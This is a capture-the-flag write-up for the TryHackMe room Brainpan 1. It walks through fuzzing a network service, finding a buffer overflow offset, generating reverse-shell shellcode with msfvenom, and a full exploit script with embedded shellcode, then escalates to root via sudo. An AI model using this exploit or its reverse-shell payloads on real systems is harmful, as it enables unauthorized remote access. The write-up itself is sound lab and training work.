This is a write up for the room Brainpan 1 from tryhackme.
Initial Enumeration
The nmap scan only shows two open ports.

- Port 9999 unknown service.
- Port 10000 SimpleHTTPServer python.
The web server shows us a static image.

Connecting to the service in port 9999 with netcat we have

Gobuster gives us a /bin folder in the web server and navigating to it

We can download the executable that is used in the service in port 9999.
Exploitation
Fuzzing
First we build a fuzzer to test the application locally.
import socket, time, sys
ip = "192.168.1.69"
port = 9999
timeout = 5
buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send(string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
We run it against the executable and have

The executable crashes with more than 600 bytes.
Finding EIP Offset
To find the eip offset and control the flow of execution we build a exploit skeleton.
import socket
ip = "192.168.1.69"
port = 9999
offset = 0
overflow = "A" * offset
retn = ""
padding = "\x90" * 0
payload = ""
postfix = ""
buffer = overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
Generate a unique pattern with metasploit tools
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 700
This is the pattern we are going to use as initial payload to find the eip offset.
We run the exploit against the service while attached to immunity debugger and use the mona command to find the offset.
!mona findmsp -l 700

To verify we have the correct offset we modify the exploit, setting the offset variable to 524, the payload empty and retn to BBBB and run the exploit again. In immunity we can see

We have control over the flow of execution.
Bad Characters
In this case no bad characters where found.
Jumps to ESP
We use
!mona jmp -r esp -cpb "\x00"
To find valid directions to use as retn address and redirect the flow of execution to our shell code.

we convert it to little endian and use it as retn.
Generating Shellcode
We use msfvenom to generate a reverse shell code
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.85 LPORT=443 EXITFUNC=thread -b "\x00" -f py
And this is the final version of the exploit.
import socket
ip = "10.10.208.148"
port = 9999
offset = 524
overflow = "A" * offset
retn = "\xf3\x12\x17\x31"
padding = "\x90" * 16
buf = b""
buf += b"\xb8\x6c\x2c\x9b\x0f\xdb\xc3\xd9\x74\x24\xf4\x5f\x29"
buf += b"\xc9\xb1\x52\x31\x47\x12\x83\xc7\x04\x03\x2b\x22\x79"
buf += b"\xfa\x4f\xd2\xff\x05\xaf\x23\x60\x8f\x4a\x12\xa0\xeb"
buf += b"\x1f\x05\x10\x7f\x4d\xaa\xdb\x2d\x65\x39\xa9\xf9\x8a"
buf += b"\x8a\x04\xdc\xa5\x0b\x34\x1c\xa4\x8f\x47\x71\x06\xb1"
buf += b"\x87\x84\x47\xf6\xfa\x65\x15\xaf\x71\xdb\x89\xc4\xcc"
buf += b"\xe0\x22\x96\xc1\x60\xd7\x6f\xe3\x41\x46\xfb\xba\x41"
buf += b"\x69\x28\xb7\xcb\x71\x2d\xf2\x82\x0a\x85\x88\x14\xda"
buf += b"\xd7\x71\xba\x23\xd8\x83\xc2\x64\xdf\x7b\xb1\x9c\x23"
buf += b"\x01\xc2\x5b\x59\xdd\x47\x7f\xf9\x96\xf0\x5b\xfb\x7b"
buf += b"\x66\x28\xf7\x30\xec\x76\x14\xc6\x21\x0d\x20\x43\xc4"
buf += b"\xc1\xa0\x17\xe3\xc5\xe9\xcc\x8a\x5c\x54\xa2\xb3\xbe"
buf += b"\x37\x1b\x16\xb5\xda\x48\x2b\x94\xb2\xbd\x06\x26\x43"
buf += b"\xaa\x11\x55\x71\x75\x8a\xf1\x39\xfe\x14\x06\x3d\xd5"
buf += b"\xe1\x98\xc0\xd6\x11\xb1\x06\x82\x41\xa9\xaf\xab\x09"
buf += b"\x29\x4f\x7e\x9d\x79\xff\xd1\x5e\x29\xbf\x81\x36\x23"
buf += b"\x30\xfd\x27\x4c\x9a\x96\xc2\xb7\x4d\x93\x19\xa0\x5e"
buf += b"\xcb\x1f\xce\x61\xb7\xa9\x28\x0b\xd7\xff\xe3\xa4\x4e"
buf += b"\x5a\x7f\x54\x8e\x70\xfa\x56\x04\x77\xfb\x19\xed\xf2"
buf += b"\xef\xce\x1d\x49\x4d\x58\x21\x67\xf9\x06\xb0\xec\xf9"
buf += b"\x41\xa9\xba\xae\x06\x1f\xb3\x3a\xbb\x06\x6d\x58\x46"
buf += b"\xde\x56\xd8\x9d\x23\x58\xe1\x50\x1f\x7e\xf1\xac\xa0"
buf += b"\x3a\xa5\x60\xf7\x94\x13\xc7\xa1\x56\xcd\x91\x1e\x31"
buf += b"\x99\x64\x6d\x82\xdf\x68\xb8\x74\x3f\xd8\x15\xc1\x40"
buf += b"\xd5\xf1\xc5\x39\x0b\x62\x29\x90\x8f\x82\xc8\x30\xfa"
buf += b"\x2a\x55\xd1\x47\x37\x66\x0c\x8b\x4e\xe5\xa4\x74\xb5"
buf += b"\xf5\xcd\x71\xf1\xb1\x3e\x08\x6a\x54\x40\xbf\x8b\x7d"
payload = buf
postfix = ""
buffer = overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
s.recv(1024)
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
We run it against the remote server and gain a shell as puck

Local Enumeration, Switching Shell and Privilege Escalation
We are in the disk unit Z: and all seems to indicate we are into a Linux system.

So we modify the exploit to gain a linux shell this time with shellcode
msfvenom -p linux/x86/shell_reverse_tcp LPORT=443 LHOST=10.11.23.211 -f py -v shellcode -a x86 –platform Linux -b "\x00"

We capture the shell and improve it

The command sudo -l gives us an executable that we can run as root with no password

Running it we can see it has three options

We use the manual option to elevate privileges.


We have a root shell and can access /root and the ascii art.
